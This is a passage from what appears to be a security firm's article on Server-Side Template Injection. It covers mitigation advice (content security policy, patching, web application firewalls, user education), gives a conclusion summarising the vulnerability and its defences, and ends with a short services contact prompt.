  4. Use a Content Security Policy (CSP): A Content Security Policy can be used to restrict the sources from which content can be loaded. By restricting the sources of content, it can help prevent attackers from being able to inject malicious code.

  5. Keep software up to date: Keep software and frameworks up to date with the latest security patches to prevent known vulnerabilities from being exploited.

  6. Use a Web Application Firewall (WAF): A WAF can be used to monitor incoming traffic and detect and block suspicious requests that could indicate an SSTI attack.

  7. Educate users: Educate users on the dangers of SSTI attacks and encourage them to report any suspicious activity.

It is important to note that these mitigation techniques are not foolproof, and it is still possible for attackers to find ways to bypass them. Therefore, it is important to regularly test your applications for vulnerabilities and stay up to date with the latest security best practices.

Conclusion

Server-Side Template Injection (SSTI) is a serious vulnerability that can allow an attacker to execute arbitrary code on a web server. It can be exploited through various techniques, including string interpolation, object injection, code injection, and command injection. There are many tools and techniques available to detect and exploit SSTI vulnerabilities, and it is essential to thoroughly test web applications for SSTI. Mitigation strategies include input validation and sanitization, using secure templates and frameworks, and applying least privilege and defense in depth. As with all web application vulnerabilities, staying up to date with the latest security patches and updates is crucial for ensuring the safety and security of web applications.

Other Services

Ready to secure?

Let's get in touch